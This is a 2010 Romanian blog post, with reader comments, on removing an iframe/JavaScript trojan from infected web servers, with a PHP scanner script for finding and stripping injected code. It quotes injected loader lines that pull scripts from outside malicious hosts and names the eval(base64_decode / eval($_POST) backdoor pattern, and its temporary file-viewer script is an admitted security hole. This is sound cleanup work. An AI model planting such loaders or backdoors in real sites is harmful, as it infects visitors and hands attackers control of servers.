Cum scapam de caii Trojan de pe server
Postat la 04 Jul 2010. 6 comentarii... Comentarii
Well... trebuie sa incep articolul destul de pesimist: e foarte greu.
Pe un PC e mai usor pentru ca acolo are acces deplin antivirusul, dar pe server e mai greu pentru ca trebuie sa faci tu toata treaba (mai ales daca site-ul e mare).
1. Ce sunt troienii despre care vorbesc si, cum se manifesta?
Numele ar putea fi ceva de genul Trojan-Clicker.HTML.IFrame sau Trojan.Downloader sau altfel [sunt mai multe tipuri din pacate si sunt mai multe denumiri sub care ii vad antivirusii].
Actiunea lor este urmatoarea: se conecteaza la FTP (detecteaza actiunile Filezila si a altor clienti FTP) si scriu in fisierele de tip php, html, htm, js un cod care include un iframe sau un fisier javascript.
Exemplu din index.php
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></script>
Exemplu din fisier javascript
document.write('<s'+'cript type="text/javascript" src="http://stupidserver.com/f.js"></scr'+'ipt>');
2. Cum te infectezi si cum te protejezi?
- Te poti infecta doar daca deschizi o pagina web care este infectata (care contine iframe sau fisier JS de tipul de mai sus) si, partea proasta e ca sunt putini antivirusi care te protejeaza.
- Te poti proteja instaland un antivirus bun. Experienta mea placuta a fost cu Karspersky (nu fac reclama, e pe bune) deci e o metoda buna de protectie si (imi doresc sa-l cumpar - mi-a dezinfectat fisiere si m-a si protejat in timpul accesarii). Am avut si antivirusi care nu au detectat nimic, dar nu vreau sa fac anti-reclama.
3. Cum scapam de ei pe server?
- In primul rand, se schimba parola de FTP (valabil pentru orice developer) si, nu te conectezi la FTP pana ce nu esti sigur ca esti "curat"
- Esti sigur ca esti curat dupa ce ti-ai scanat computerul cu Karspersky (eu am avut Pure si a fost perfect - se poate lua trial-version gratuit, pentru 30 de zile DAR trebuie dezinstalat orice antivirus existent pentru ca nu e indicat sa ai doi antivirusi pe acelasi sistem) sau alt antivirus bun si actualizat (daca doriti, ma puteti contacta, sa va zic antivirusii "prosti" - vectorialpx.net, formularul de jos).
- folosesti un instrument care gaseste codul cu probleme si stergi toate problemele modificand fisierele (exista TEXTCRAWLER - care este FREE).
Acum, acest ultim pas este ceva mai complex. Eu am facut un fisier PHP (cach.php) care trebuie pus pe server, pentru ca mi-a fost mai usor. El cauta prin fisierele si dosarele site-ului (de la nivelul la care este pus in sus) in fisierele PHP, HTML si JS si, poate face inlocuirea codului cu probleme. Il puteti vedea mai jos cum arata (sunt doua functii, dintre care una e recursiva, nu mare lucru).
4. Ce cautam si cum?
- Primul lucru cautat este eval(base64_decode . Este ceea ce ofera poarta de acces remote. Daca nu stergeti codurile de acest gen, nu ati facut nimic. Sub acel base64_decode se afla de obicei ceva de genul eval($_POST['ceva']) ceea ce ofera puterea suprema pentru PHP - de unde concluzia stupida: hacker-ii nu-s prosti! ![]()
Atentie! unele teme de Wordpress au in footer un cod care contine eval(base64_decode dar este pentru copyright (nu trebuie sters). Trebuie sters orice cod suspect, nu chiar orice cod (e indicat sa fiti programatori cu ceva experienta, pentru a nu sterge aiurea). Daca aveti dubii si aveti soft-uri web (cum ar fi phpBB, drupal etc etc) mai bine cautati pe Google sau in documentatie. Oricum, scriptul face si un backup al fisierului infectat, deci nu pierdeti informatia respectiva dar va fi greu sa redenumiti fiecare fisier si s-o luati de la capat.
5. Ce fisiere sunt infectate?
de obicei index.php si cam tot ce are 'index', 'main', 'config' apoi, cam toate fisierele javascript care sunt incluse in prima pagina - dar nu numai.
6. Cum facem inlocuirea?
- avem nevoie de un alt fiser PHP (get23123.php - un nume care nu poate fi intuit usor) care ne afiseaza contentul unui anumit fisier (plain text) de pe server. De ce? Pentru ca nu vom putea lua fisierele de pe server ca sa le vedem local, fiind blocat de antivirus. Atentie, dupa ce ati terminat toata treaba stergeti fisierul get23123.php pentru ca este o mare bresa de securitate.
<?php // get23123.php e simplu si arata cam asa
$c = file_get_contents('index.php');
echo htmlspecialchars($c, ENT_QUOTES);
// afiseaza contentul lui index.php (cu tot cu cod PHP)
Deci va trebui sa urcati pe server un astfel de fisier, pentru a vedea care este codul clar din anumite fisiere.
De exemplu, accesam get23123.php si vedem ca in fisierul file.js este codul
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hardware.js"></scr'+'ipt>');
incepem sa cautam dupa el (codul) si sa facem replace, accesand cach.php in care stabilim inlocuirea codului de mai sus.
Fisierul cach.php este asa:
<?php
set_time_limit(0);
error_reporting(E_ALL);
define('MAKETHEREPLACE', 0); // se face replace sau nu
define('STRING2REPLACE', 'eval(base64_decode'); // ce cauta
// aceasta constanta se defineste de fiecare data
// se poate face si un array si apoi un foreach in functie
// cu mai multe string-uri, dar e nevoie de mai multa atentie
define('DS', DIRECTORY_SEPARATOR);
$f = dirname(__FILE__).DS;
function h($w) { $w = stripslashes($w); // htmlspecialchars
return trim(htmlspecialchars($w, ENT_QUOTES)); }
function getDir($folder) {
if ($handle = opendir($folder)) {
while (false !== ($file = readdir($handle))) {
if(is_dir($folder.$file) && $file != '..' && $file != '.' ) {
getDir($folder.$file.DS);
} else {
$ext = end(explode('.', $file));
if($file != 'cach.php')
if($ext == 'js' || $ext == 'php' )
writeFile($folder, $file);
}
}
closedir($handle);
}
}
getDir($f); // aici se face apelarea
function writeFile($dir, $f) {
if(filesize($dir.$f) < 1024*500) { // nu cautam in fisiere mai mari de 500K
// $handle = fopen($dir.$f, 'r');
// $c = fread($handle, filesize($dir.$f)+1);
// fclose($handle);
// este recomandat file_get_contents
// pentru ca este mai rapid
$c = file_get_contents($dir.$f);
// extensie
$ext = end(explode('.', $f));
$este = strpos($c, STRING2REPLACE);
// daca exista codul in fisier
if($este !== false) {
if(MAKETHEREPLACE) {
copy($dir.$f, $dir.'infect_'.$f.'.unkn');
$fp = fopen($dir.$f, 'w');
if(fwrite($fp, trim(str_replace(STRING2REPLACE, '', $c))))
echo 'am scris <b style="color:#c00">'.$dir.$f.'</b><br /><br />';
fclose($fp);
} else {
echo 'trebuie scris - <b style="color:#c00">'.$dir.$f.'</b><br />
Contine: <br /><textarea name="some" cols="200" rows="9"
style="font:12px Verdana,Arial">'.h($c).'</textarea><br /> <br />';
}
}
} else {
echo '<strong style="color:#c00">prea mare</strong> '.$dir.$f.'<br /><br />';
}
}
// end of file
Am mai citit un articol despre asta - how to remove iframe trojan - dar pare un pic incomplet. Probabil ca si troienii au mai evoluat intre timp.
Sunt dispus sa raspund comentariilor si, daca aveti idei, ar fi bine sa fie publice. Spor la programat!
Edit: Am gasit o descriere la Karspersky pentru Trojan-Clicker
Deci nu, nu e chiar harmless.
Programs classified as Trojan-Clicker are designed to access Internet resources (usually web pages). This is done either by sending appropriate commands to the browser or by replacing system files that provide “standard” addresses for Internet resources (such as the Windows hosts file).
A malicious user may use Trojan-Clicker programs to:
- increase the number of visits to certain sites in order to boost the number of hits for online ads
- conduct a DoS (Denial of Service) attack on a particular server
- lead potential victims to viruses or Trojans.
Pareri peste opinii... Comenteaza si tu!
postat de Becktel la 05 Jul 2010, 7:24 » nota 2
Unde este marea problema de securitate din acel script?
postat de vectorialpx la 05 Jul 2010, 8:32
Well... acel script ascunde de fapt un fisier executabil.
Unde este problema? Iti infecteaza toti vizitatorii cu un Trojan care se raspandeste mai departe prin FTP scriind fisiere prin toate conturile pe care le gaseste cu reclame gen Viagra + poate profita oricand de site-urile tale. De asemenea sunt include exploit-uri cum ar fi "eval($_POST['ceva'])". Ti se pare putin?
postat de Becktel la 05 Jul 2010, 12:04
Nu stiu de ce aveam impresia ca tu zici de scanerul tau PHP, codul ala stiu ca nu-i harmless
postat de vectorialpx la 05 Jul 2010, 13:42
Articolul nu e o intrebare, ofera o solutie. Scriptul pus de mine e testat si, e si util [am scapat de porcariile alea pe trei servere]. Oricum, acum incep sa visez fisiere JS, sunt paranoic. Orice fisier JS mi se pare suspect... E foarte aiurea. Sper ca imbecilii astia primec bani destui, la cati isi baga pu*a in mamele lor - verbal e inutil, stiu ![]()
postat de Birkoff la 30 Nov -0001 » nota 8
Recomand scanarea calculatorului cu versiunea free de mbam (Malwarebytes' Anti-Malware) - primul in google daca cauti dupa mbam
De asemenea recomand ca metoda de prevenire pe site un sistem de indexare a fisierelor (un sha1 la fiecare fisier in parte salvat in baza de date) astfel stiti direct ce fisiere au fost modificate si nu stati sa le luati la puricat. Un articol despre asta cu tot cu exemplu am scris in verificarea site-ului pentru detectarea fisierelor modificate
postat de vectorialpx la 05 Jul 2010, 23:25
OK! Acum fac antireclama (ca tot ai adus vorba): am scanat cu MbAM si nu aveam nimic. Dupa ce am scanat cu Karspersky aveam. So nu, nu e bun nici MbAM. O colega a avut AVIRA, care n-a zis niciodata nimic iar un alt coleg a avut NOD32 care e la fel de tacut (astea nu-ti ocupa resurse, dar sunt si inutile). Nu stiu nimic de BitDefender (nu pot sa ma pronunt - dar cum il stiu de agresiv probabil ar fi gasit ceva) dar raman la Karspersky.
